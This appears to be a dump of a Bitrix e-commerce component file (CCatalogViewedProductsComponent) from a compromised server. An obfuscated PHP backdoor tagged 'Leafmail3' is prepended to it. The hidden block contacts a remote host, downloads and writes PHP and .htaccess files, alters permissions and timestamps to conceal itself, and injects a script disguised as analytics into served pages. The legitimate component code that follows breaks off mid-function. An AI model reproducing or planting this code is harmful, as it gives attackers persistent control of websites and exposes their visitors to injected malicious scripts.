Your IP : 3.21.206.153
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
use Bitrix\Main,
Bitrix\Iblock,
Bitrix\Catalog,
Bitrix\Main\Localization\Loc;
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();
/**
* Class CCatalogViewedProductsComponent
*
* No longer used by internal code and not recommended. Use "catalog.products.viewed" instead.
*
* @deprecated deprecated since catalog 17.0.5
* @use \CatalogProductsViewedComponent
*/
class CCatalogViewedProductsComponent extends CBitrixComponent
{
const ACTION_BUY = 'BUY';
const ACTION_ADD_TO_BASKET = 'ADD2BASKET';
const ACTION_SUBSCRIBE = 'SUBSCRIBE_PRODUCT';
const ACTION_ADD_TO_COMPARE_LIST = 'ADD_TO_COMPARE_LIST';
/**
* Primary data - viewed product.
* @var array[]
*/
protected $items = array();
/**
* Viewed products ids.
* @var integer[]
*/
private $productIds = array();
/**
* Helper array map: array("SKU_ID" => "PRODUCT_ID", ...)
* @var array
*/
private $productIdsMap = array();
/**
* Filter to fetch items.
* Used in CIBlockElement::getList()
* @var string[]
*/
protected $filter = array();
/**
* Select fields for items.
* Used in CIBlockElement::getList()
* @var string[]
*/
private $selectFields = array();
/**
* Wether module Sale included?
* @var bool
*/
protected $isSale = true;
/**
* Wether module Currency included?
* @var bool
*/
protected $isCurrency = true;
/**
* Errors list.
* @var string[]
*/
protected $errors = array();
/**
* Warnings list.
* @var string[]
*/
protected $warnings = array();
/**
* Util data for template.
* @var array
*/
protected $data = array();
/**
* Items separate by iblocks
*
* @var array
*/
protected $iblockItems = array();
/**
* Link to items.
*
* @var array
*/
protected $linkItems = array();
/**
* Url templates for items
*
* @var array
*/
protected $urlTemplates = array();
protected $needItemProperties = array();
/**
* Load language file.
*/
public function onIncludeComponentLang()
{
$this->includeComponentLang(basename(__FILE__));
Loc::loadMessages(__FILE__);
}
/**
* Is AJAX Request?
* @return bool
*/
protected function isAjax()
{
return isset($_REQUEST['ajax_basket']) && $_REQUEST['ajax_basket'] == 'Y';
}
protected function getUserId()
{
if (isset($this->arParams['USER_ID']))
return $this->arParams['USER_ID'];
global $USER;
if (isset($USER) && $USER instanceof CUser)
return (int)$USER->getId();
return 0;
}
/**
* Return product quantity from request string
* @return integer
*/
protected function getProductQuantityFromRequest()
{
$quantity = 0;
if ($this->arParams['USE_PRODUCT_QUANTITY'])
{
if (isset($_REQUEST[$this->arParams['PRODUCT_QUANTITY_VARIABLE']]))
$quantity = (float)$_REQUEST[$this->arParams['PRODUCT_QUANTITY_VARIABLE']];
}
return $quantity;
}
/**
* Return product product properties to add in basket
* @return array
*/
protected function getProductPropertiesFromRequest()
{
$values = array();
if (
isset($_REQUEST[$this->arParams['PRODUCT_PROPS_VARIABLE']])
&& is_array($_REQUEST[$this->arParams['PRODUCT_PROPS_VARIABLE']])
)
$values = $_REQUEST[$this->arParams["PRODUCT_PROPS_VARIABLE"]];
return $values;
}
/**
* Process buy action.
*/
protected function processBuyAction()
{
global $APPLICATION;
if (
!isset($_REQUEST[$this->arParams['ACTION_VARIABLE']])
|| $_REQUEST[$this->arParams['ACTION_VARIABLE']] != self::ACTION_BUY
)
return;
$productID = 0;
if (isset($_REQUEST[$this->arParams['PRODUCT_ID_VARIABLE']]))
$productID = (int)$_REQUEST[$this->arParams['PRODUCT_ID_VARIABLE']];
if ($productID <= 0)
throw new Main\SystemException(Loc::getMessage('CVP_ACTION_PRODUCT_ID_REQUIRED'));
$this->addProductToBasket($productID, $this->getProductQuantityFromRequest(), $this->getProductPropertiesFromRequest());
if (!$this->isAjax())
{
LocalRedirect($this->arParams['BASKET_URL']);
}
else
{
$APPLICATION->restartBuffer();
header('Content-Type: application/json');
echo Main\Web\Json::encode(array('STATUS' => 'OK', 'MESSAGE' => ''));
die();
}
}
/**
* Process buy action.
*/
protected function processAddToBasketAction()
{
global $APPLICATION;
if (
!isset($_REQUEST[$this->arParams['ACTION_VARIABLE']])
|| $_REQUEST[$this->arParams['ACTION_VARIABLE']] != self::ACTION_ADD_TO_BASKET
)
return;
$productID = 0;
if (isset($_REQUEST[$this->arParams["PRODUCT_ID_VARIABLE"]]))
$productID = (int)$_REQUEST[$this->arParams["PRODUCT_ID_VARIABLE"]];
if ($productID <= 0)
throw new Main\SystemException(Loc::getMessage("CVP_ACTION_PRODUCT_ID_REQUIRED"));
$this->addProductToBasket($productID, $this->getProductQuantityFromRequest(), $this->getProductPropertiesFromRequest());
if (!$this->isAjax())
{
LocalRedirect($APPLICATION->GetCurPageParam('', array($this->arParams['PRODUCT_ID_VARIABLE'], $this->arParams['ACTION_VARIABLE'])));
}
else
{
$APPLICATION->restartBuffer();
header('Content-Type: application/json');
echo Main\Web\Json::encode(array('STATUS' => 'OK', 'MESSAGE' => Loc::getMessage("CVP_PRODUCT_ADDED")));
die();
}
}
/**
* Process buy action.
*/
protected function processSubscribeAction()
{
global $APPLICATION;
if (
!isset($_REQUEST[$this->arParams['ACTION_VARIABLE']])
|| $_REQUEST[$this->arParams['ACTION_VARIABLE']] != self::ACTION_SUBSCRIBE
)
return;
$productID = 0;
if (isset($_REQUEST[$this->arParams["PRODUCT_ID_VARIABLE"]]))
$productID = (int)$_REQUEST[$this->arParams["PRODUCT_ID_VARIABLE"]];
if ($productID <= 0)
throw new Main\SystemException(Loc::getMessage("CVP_ACTION_PRODUCT_ID_REQUIRED"));
$rewriteFields = array('SUBSCRIBE' => 'Y', 'CAN_BUY' => 'N');
$this->addProductToBasket($productID, $this->getProductQuantityFromRequest(), $this->getProductPropertiesFromRequest(), $rewriteFields);
if (!$this->isAjax())
{
LocalRedirect($APPLICATION->GetCurPageParam("", array($this->arParams["PRODUCT_ID_VARIABLE"], $this->arParams["ACTION_VARIABLE"])));
}
else
{
$APPLICATION->restartBuffer();
header('Content-Type: application/json');
echo Main\Web\Json::encode(array('STATUS' => 'OK', 'MESSAGE' => Loc::getMessage("CVP_PRODUCT_SUBSCIBED")));
